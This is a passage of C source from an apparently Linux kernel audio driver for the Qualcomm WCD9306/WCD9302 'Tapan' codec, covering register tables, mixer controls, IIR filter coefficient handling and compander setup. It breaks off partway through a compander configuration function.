#define TAPAN_HPH_PA_SETTLE_COMP_OFF 13000
#define DAPM_MICBIAS2_EXTERNAL_STANDALONE "MIC BIAS2 External Standalone"
#define TAPAN_VALIDATE_RX_SBPORT_RANGE(port) ((port >= 16) && (port <= 20))
#define TAPAN_CONVERT_RX_SBPORT_ID(port) (port - 16) /* RX1 port ID = 0 */
#define TAPAN_VDD_CX_OPTIMAL_UA 10000
#define TAPAN_VDD_CX_SLEEP_UA 2000
/* RX_HPH_CNP_WG_TIME increases by 0.24ms */
#define TAPAN_WG_TIME_FACTOR_US 240
#define TAPAN_SB_PGD_PORT_RX_BASE 0x40
#define TAPAN_SB_PGD_PORT_TX_BASE 0x50
#define TAPAN_REGISTER_START_OFFSET 0x800
#define CODEC_REG_CFG_MINOR_VER 1
static struct regulator *tapan_codec_find_regulator(
struct snd_soc_codec *codec,
const char *name);
static atomic_t kp_tapan_priv;
static int spkr_drv_wrnd_param_set(const char *val,
const struct kernel_param *kp);
static int spkr_drv_wrnd = 1;
static struct kernel_param_ops spkr_drv_wrnd_param_ops = {
.set = spkr_drv_wrnd_param_set,
.get = param_get_int,
};
module_param_cb(spkr_drv_wrnd, &spkr_drv_wrnd_param_ops, &spkr_drv_wrnd, 0644);
MODULE_PARM_DESC(spkr_drv_wrnd,
"Run software workaround to avoid leakage on the speaker drive");
#define WCD9306_RATES (SNDRV_PCM_RATE_8000 | SNDRV_PCM_RATE_16000 |\
SNDRV_PCM_RATE_32000 | SNDRV_PCM_RATE_48000 |\
SNDRV_PCM_RATE_96000 | SNDRV_PCM_RATE_192000)
#define WCD9302_RATES (SNDRV_PCM_RATE_8000 | SNDRV_PCM_RATE_16000 |\
SNDRV_PCM_RATE_32000 | SNDRV_PCM_RATE_48000)
#define NUM_DECIMATORS 4
#define NUM_INTERPOLATORS 4
#define BITS_PER_REG 8
/* This actual number of TX ports supported in slimbus slave */
#define TAPAN_TX_PORT_NUMBER 16
#define TAPAN_RX_PORT_START_NUMBER 16
/* Nummer of TX ports actually connected from Slimbus slave to codec Digital */
#define TAPAN_SLIM_CODEC_TX_PORTS 5
#define TAPAN_I2S_MASTER_MODE_MASK 0x08
#define TAPAN_MCLK_CLK_12P288MHZ 12288000
#define TAPAN_MCLK_CLK_9P6MHZ 9600000
#define TAPAN_SLIM_CLOSE_TIMEOUT 1000
#define TAPAN_SLIM_IRQ_OVERFLOW (1 << 0)
#define TAPAN_SLIM_IRQ_UNDERFLOW (1 << 1)
#define TAPAN_SLIM_IRQ_PORT_CLOSED (1 << 2)
enum tapan_codec_type {
WCD9306,
WCD9302,
};
static enum tapan_codec_type codec_ver;
/*
* Multiplication factor to compute impedance on Tapan
* This is computed from (Vx / (m*Ical)) = (10mV/(180*30uA))
*/
#define TAPAN_ZDET_MUL_FACTOR 1852
static struct afe_param_cdc_reg_cfg audio_reg_cfg[] = {
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_WATERMARK_N, 0x1E, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_ENABLE_N, 0x1, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_WATERMARK_N, 0x1E, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_ENABLE_N, 0x1, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_IIR_B1_CTL),
AANC_FF_GAIN_ADAPTIVE, 0x4, 8, 0
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_IIR_B1_CTL),
AANC_FFGAIN_ADAPTIVE_EN, 0x8, 8, 0
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_GAIN_CTL),
AANC_GAIN_CONTROL, 0xFF, 8, 0
},
};
static struct afe_param_cdc_reg_cfg_data tapan_audio_reg_cfg = {
.num_registers = ARRAY_SIZE(audio_reg_cfg),
.reg_data = audio_reg_cfg,
};
static struct afe_param_id_cdc_aanc_version tapan_cdc_aanc_version = {
.cdc_aanc_minor_version = AFE_API_VERSION_CDC_AANC_VERSION,
.aanc_hw_version = AANC_HW_BLOCK_VERSION_2,
};
enum {
AIF1_PB = 0,
AIF1_CAP,
AIF2_PB,
AIF2_CAP,
AIF3_PB,
AIF3_CAP,
NUM_CODEC_DAIS,
};
enum {
RX_MIX1_INP_SEL_ZERO = 0,
RX_MIX1_INP_SEL_SRC1,
RX_MIX1_INP_SEL_SRC2,
RX_MIX1_INP_SEL_IIR1,
RX_MIX1_INP_SEL_IIR2,
RX_MIX1_INP_SEL_RX1,
RX_MIX1_INP_SEL_RX2,
RX_MIX1_INP_SEL_RX3,
RX_MIX1_INP_SEL_RX4,
RX_MIX1_INP_SEL_RX5,
RX_MIX1_INP_SEL_AUXRX,
};
#define TAPAN_COMP_DIGITAL_GAIN_OFFSET 3
static const DECLARE_TLV_DB_SCALE(digital_gain, 0, 1, 0);
static const DECLARE_TLV_DB_SCALE(line_gain, 0, 7, 1);
static const DECLARE_TLV_DB_SCALE(analog_gain, 0, 25, 1);
static struct snd_soc_dai_driver tapan_dai[];
static const DECLARE_TLV_DB_SCALE(aux_pga_gain, 0, 2, 0);
/* Codec supports 2 IIR filters */
enum {
IIR1 = 0,
IIR2,
IIR_MAX,
};
/* Codec supports 5 bands */
enum {
BAND1 = 0,
BAND2,
BAND3,
BAND4,
BAND5,
BAND_MAX,
};
enum {
COMPANDER_0,
COMPANDER_1,
COMPANDER_2,
COMPANDER_MAX,
};
enum {
COMPANDER_FS_8KHZ = 0,
COMPANDER_FS_16KHZ,
COMPANDER_FS_32KHZ,
COMPANDER_FS_48KHZ,
COMPANDER_FS_96KHZ,
COMPANDER_FS_192KHZ,
COMPANDER_FS_MAX,
};
struct comp_sample_dependent_params {
u32 peak_det_timeout;
u32 rms_meter_div_fact;
u32 rms_meter_resamp_fact;
};
struct hpf_work {
struct tapan_priv *tapan;
u32 decimator;
u8 tx_hpf_cut_of_freq;
struct delayed_work dwork;
};
static struct hpf_work tx_hpf_work[NUM_DECIMATORS];
static const struct wcd9xxx_ch tapan_rx_chs[TAPAN_RX_MAX] = {
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER, 0),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 1, 1),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 2, 2),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 3, 3),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 4, 4),
};
static const struct wcd9xxx_ch tapan_tx_chs[TAPAN_TX_MAX] = {
WCD9XXX_CH(0, 0),
WCD9XXX_CH(1, 1),
WCD9XXX_CH(2, 2),
WCD9XXX_CH(3, 3),
WCD9XXX_CH(4, 4),
};
static const u32 vport_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
(1 << AIF2_CAP) | (1 << AIF3_CAP), /* AIF1_CAP */
0, /* AIF2_PB */
(1 << AIF1_CAP) | (1 << AIF3_CAP), /* AIF2_CAP */
0, /* AIF2_PB */
(1 << AIF1_CAP) | (1 << AIF2_CAP), /* AIF2_CAP */
};
static const u32 vport_i2s_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
0, /* AIF1_CAP */
};
enum {
CP_REG_BUCK = 0,
CP_REG_BHELPER,
CP_REG_MAX,
};
struct tapan_priv {
struct snd_soc_codec *codec;
u32 adc_count;
u32 rx_bias_count;
s32 dmic_1_2_clk_cnt;
s32 dmic_3_4_clk_cnt;
s32 dmic_5_6_clk_cnt;
s32 ldo_h_users;
s32 micb_2_users;
u32 anc_slot;
bool anc_func;
/*track adie loopback mode*/
bool lb_mode;
/*track tapan interface type*/
u8 intf_type;
/* num of slim ports required */
struct wcd9xxx_codec_dai_data dai[NUM_CODEC_DAIS];
/*compander*/
int comp_enabled[COMPANDER_MAX];
u32 comp_fs[COMPANDER_MAX];
/* Maintain the status of AUX PGA */
int aux_pga_cnt;
u8 aux_l_gain;
u8 aux_r_gain;
bool dec_active[NUM_DECIMATORS];
bool spkr_pa_widget_on;
struct afe_param_cdc_slimbus_slave_cfg slimbus_slave_cfg;
/* resmgr module */
struct wcd9xxx_resmgr resmgr;
/* mbhc module */
struct wcd9xxx_mbhc mbhc;
/* class h specific data */
struct wcd9xxx_clsh_cdc_data clsh_d;
/* pointers to regulators required for chargepump */
struct regulator *cp_regulators[CP_REG_MAX];
/*
* list used to save/restore registers at start and
* end of impedance measurement
*/
struct list_head reg_save_restore;
int (*machine_codec_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event);
};
static const u32 comp_shift[] = {
0,
1,
2,
};
static const int comp_rx_path[] = {
COMPANDER_1,
COMPANDER_1,
COMPANDER_2,
COMPANDER_2,
COMPANDER_MAX,
};
static const struct comp_sample_dependent_params comp_samp_params[] = {
{
/* 8 Khz */
.peak_det_timeout = 0x06,
.rms_meter_div_fact = 0x09,
.rms_meter_resamp_fact = 0x06,
},
{
/* 16 Khz */
.peak_det_timeout = 0x07,
.rms_meter_div_fact = 0x0A,
.rms_meter_resamp_fact = 0x0C,
},
{
/* 32 Khz */
.peak_det_timeout = 0x08,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x1E,
},
{
/* 48 Khz */
.peak_det_timeout = 0x09,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x28,
},
{
/* 96 Khz */
.peak_det_timeout = 0x0A,
.rms_meter_div_fact = 0x0C,
.rms_meter_resamp_fact = 0x50,
},
{
/* 192 Khz */
.peak_det_timeout = 0x0B,
.rms_meter_div_fact = 0xC,
.rms_meter_resamp_fact = 0xA0,
},
};
static unsigned short rx_digital_gain_reg[] = {
TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL,
};
static unsigned short tx_digital_gain_reg[] = {
TAPAN_A_CDC_TX1_VOL_CTL_GAIN,
TAPAN_A_CDC_TX2_VOL_CTL_GAIN,
TAPAN_A_CDC_TX3_VOL_CTL_GAIN,
TAPAN_A_CDC_TX4_VOL_CTL_GAIN,
};
static int spkr_drv_wrnd_param_set(const char *val,
const struct kernel_param *kp)
{
struct snd_soc_codec *codec;
int ret, old;
struct tapan_priv *priv;
priv = (struct tapan_priv *)atomic_read(&kp_tapan_priv);
if (!priv) {
pr_debug("%s: codec isn't yet registered\n", __func__);
return 0;
}
codec = priv->codec;
mutex_lock(&codec->mutex);
old = spkr_drv_wrnd;
ret = param_set_int(val, kp);
if (ret) {
mutex_unlock(&codec->mutex);
return ret;
}
dev_dbg(codec->dev, "%s: spkr_drv_wrnd %d -> %d\n",
__func__, old, spkr_drv_wrnd);
if ((old == -1 || old == 0) && spkr_drv_wrnd == 1) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
} else if (old == 1 && spkr_drv_wrnd == 0) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_put_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
if (!priv->spkr_pa_widget_on)
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x00);
}
mutex_unlock(&codec->mutex);
return 0;
}
static int tapan_get_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->anc_slot;
return 0;
}
static int tapan_put_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
tapan->anc_slot = ucontrol->value.integer.value[0];
return 0;
}
static int tapan_get_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = (tapan->anc_func == true ? 1 : 0);
return 0;
}
static int tapan_put_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
struct snd_soc_dapm_context *dapm = &codec->dapm;
mutex_lock(&dapm->codec->mutex);
tapan->anc_func = (!ucontrol->value.integer.value[0] ? false : true);
dev_err(codec->dev, "%s: anc_func %x", __func__, tapan->anc_func);
if (tapan->anc_func == true) {
pr_info("enable anc virtual widgets");
snd_soc_dapm_enable_pin(dapm, "ANC HPHR");
snd_soc_dapm_enable_pin(dapm, "ANC HPHL");
snd_soc_dapm_enable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_enable_pin(dapm, "ANC EAR");
snd_soc_dapm_disable_pin(dapm, "HPHR");
snd_soc_dapm_disable_pin(dapm, "HPHL");
snd_soc_dapm_disable_pin(dapm, "HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "EAR PA");
snd_soc_dapm_disable_pin(dapm, "EAR");
} else {
pr_info("disable anc virtual widgets");
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
snd_soc_dapm_enable_pin(dapm, "HPHR");
snd_soc_dapm_enable_pin(dapm, "HPHL");
snd_soc_dapm_enable_pin(dapm, "HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "EAR PA");
snd_soc_dapm_enable_pin(dapm, "EAR");
}
snd_soc_dapm_sync(dapm);
mutex_unlock(&dapm->codec->mutex);
return 0;
}
static int tapan_loopback_mode_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->lb_mode;
dev_dbg(codec->dev, "%s: lb_mode = %d\n",
__func__, tapan->lb_mode);
return 0;
}
static int tapan_loopback_mode_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: ucontrol->value.integer.value[0] = %ld\n",
__func__, ucontrol->value.integer.value[0]);
switch (ucontrol->value.integer.value[0]) {
case 0:
tapan->lb_mode = false;
break;
case 1:
tapan->lb_mode = true;
break;
default:
return -EINVAL;
}
return 0;
}
static int tapan_pa_gain_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
int rc = 0;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
ear_pa_gain = snd_soc_read(codec, TAPAN_A_RX_EAR_GAIN);
ear_pa_gain = ear_pa_gain >> 5;
switch (ear_pa_gain) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
ucontrol->value.integer.value[0] = ear_pa_gain;
break;
case 7:
ucontrol->value.integer.value[0] = (ear_pa_gain - 1);
break;
default:
rc = -EINVAL;
pr_err("%s: ERROR: Unsupported Ear Gain = 0x%x\n",
__func__, ear_pa_gain);
break;
}
dev_dbg(codec->dev, "%s: ear_pa_gain = 0x%x\n", __func__, ear_pa_gain);
return rc;
}
static int tapan_pa_gain_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
int rc = 0;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
dev_dbg(codec->dev, "%s: ucontrol->value.integer.value[0] = %ld\n",
__func__, ucontrol->value.integer.value[0]);
switch (ucontrol->value.integer.value[0]) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
ear_pa_gain = ucontrol->value.integer.value[0];
break;
case 6:
ear_pa_gain = 0x07;
break;
default:
rc = -EINVAL;
break;
}
if (!rc)
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_GAIN,
0xE0, ear_pa_gain << 5);
return rc;
}
static int tapan_get_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
(snd_soc_read(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0;
dev_dbg(codec->dev, "%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0]);
return 0;
}
static int tapan_put_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
/* Mask first 5 bits, 6-8 are reserved */
snd_soc_update_bits(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx),
(1 << band_idx), (value << band_idx));
pr_debug("%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
((snd_soc_read(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0));
return 0;
}
static uint32_t get_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
int coeff_idx)
{
uint32_t value = 0;
/* Address does not automatically update if reading */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t)) & 0x7F);
value |= snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx));
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 1) & 0x7F);
value |= (snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 8);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 2) & 0x7F);
value |= (snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 16);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 3) & 0x7F);
/* Mask bits top 2 bits since they are reserved */
value |= ((snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) & 0x3F) << 24);
return value;
}
static int tapan_get_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
get_iir_band_coeff(codec, iir_idx, band_idx, 0);
ucontrol->value.integer.value[1] =
get_iir_band_coeff(codec, iir_idx, band_idx, 1);
ucontrol->value.integer.value[2] =
get_iir_band_coeff(codec, iir_idx, band_idx, 2);
ucontrol->value.integer.value[3] =
get_iir_band_coeff(codec, iir_idx, band_idx, 3);
ucontrol->value.integer.value[4] =
get_iir_band_coeff(codec, iir_idx, band_idx, 4);
dev_dbg(codec->dev, "%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[1],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[2],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[3],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[4]);
return 0;
}
static void set_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
uint32_t value)
{
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value & 0xFF));
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 8) & 0xFF);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 16) & 0xFF);
/* Mask top 2 bits, 7-8 are reserved */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 24) & 0x3F);
}
static int tapan_put_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
/* Mask top bit it is reserved */
/* Updates addr automatically for each B2 write */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
(band_idx * BAND_MAX * sizeof(uint32_t)) & 0x7F);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[0]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[1]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[2]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[3]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[4]);
dev_dbg(codec->dev, "%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 0),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 1),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 2),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 3),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 4));
return 0;
}
static int tapan_get_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->comp_enabled[comp];
return 0;
}
static int tapan_set_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
dev_dbg(codec->dev, "%s: Compander %d enable current %d, new %d\n",
__func__, comp, tapan->comp_enabled[comp], value);
tapan->comp_enabled[comp] = value;
if (comp == COMPANDER_1 &&
tapan->comp_enabled[comp] == 1) {
/* Wavegen to 5 msec */
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDA);
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_TIME, 0x15);
snd_soc_write(codec, TAPAN_A_RX_HPH_BIAS_WG_OCP, 0x2A);
/* Enable Chopper */
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CHOP_CTL, 0x80, 0x80);
snd_soc_write(codec, TAPAN_A_NCP_DTEST, 0x20);
pr_debug("%s: Enabled Chopper and set wavegen to 5 msec\n",
__func__);
} else if (comp == COMPANDER_1 &&
tapan->comp_enabled[comp] == 0) {
/* Wavegen to 20 msec */
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDB);
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_TIME, 0x58);
snd_soc_write(codec, TAPAN_A_RX_HPH_BIAS_WG_OCP, 0x1A);
/* Disable CHOPPER block */
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CHOP_CTL, 0x80, 0x00);
snd_soc_write(codec, TAPAN_A_NCP_DTEST, 0x10);
pr_debug("%s: Disabled Chopper and set wavegen to 20 msec\n",
__func__);
}
return 0;
}
static int tapan_config_gain_compander(struct snd_soc_codec *codec,
int comp, bool enable)
{
int ret = 0;
switch (comp) {
case COMPANDER_0:
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_GAIN,
1 << 2, !enable << 2);
break;
case COMPANDER_1:
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_L_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_R_GAIN,
1 << 5, !enable << 5);
break;
case COMPANDER_2:
snd_soc_update_bits(codec, TAPAN_A_RX_LINE_1_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TAPAN_A_RX_LINE_2_GAIN,
1 << 5, !enable << 5);
break;
default:
WARN_ON(1);
ret = -EINVAL;
}
return ret;
}
static void tapan_discharge_comp(struct snd_soc_codec *codec, int comp)
{
/* Level meter DIV Factor to 5*/
snd_soc_update_bits(codec, TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8), 0xF0,
0x05 << 4);
/* RMS meter Sampling to 0x01 */
snd_soc_write(codec, TAPAN_A_CDC_COMP0_B3_CTL + (comp * 8), 0x01);
/* Worst case timeout for compander CnP sleep timeout */
usleep_range(3000, 3000);
}
static enum wcd9xxx_buck_volt tapan_codec_get_buck_mv(
struct snd_soc_codec *codec)
{
int buck_volt = WCD9XXX_CDC_BUCK_UNSUPPORTED;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_pdata *pdata = tapan->resmgr.pdata;
int i;
bool found_regulator = false;
for (i = 0; i < ARRAY_SIZE(pdata->regulator); i++) {
if (pdata->regulator[i].name == NULL)
continue;
if (!strncmp(pdata->regulator[i].name,
WCD9XXX_SUPPLY_BUCK_NAME,
sizeof(WCD9XXX_SUPPLY_BUCK_NAME))) {
found_regulator = true;
if ((pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_1P8) ||
(pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_2P15))
buck_volt = pdata->regulator[i].min_uV;
break;
}
}
if (!found_regulator)
dev_err(codec->dev,
"%s: Failed to find regulator for %s\n",
__func__, WCD9XXX_SUPPLY_BUCK_NAME);
else
dev_dbg(codec->dev,
"%s: S4 voltage requested is %d\n",
__func__, buck_volt);
return buck_volt;
}
static int tapan_config_compander(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int mask, enable_mask;
u8 rdac5_mux;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
const int comp = w->shift;
const u32 rate = tapan->comp_fs[comp];
const struct comp_sample_dependent_params *comp_params =
&comp_samp_params[rate];
enum wcd9xxx_buck_volt buck_mv;
dev_dbg(codec->dev, "%s: %s event %d compander %d, enabled %d",
__func__, w->name, event, comp, tapan->comp_enabled[comp]);
if (!tapan->comp_enabled[comp])
return 0;
/* Compander 0 has single channel */
mask = (comp == COMPANDER_0 ? 0x01 : 0x03);
buck_mv = tapan_codec_get_buck_mv(codec);
rdac5_mux = snd_soc_read(codec, TAPAN_A_CDC_CONN_MISC);
rdac5_mux = (rdac5_mux & 0x04) >> 2;
if (comp == COMPANDER_0) { /* SPK compander */
enable_mask = 0x02;
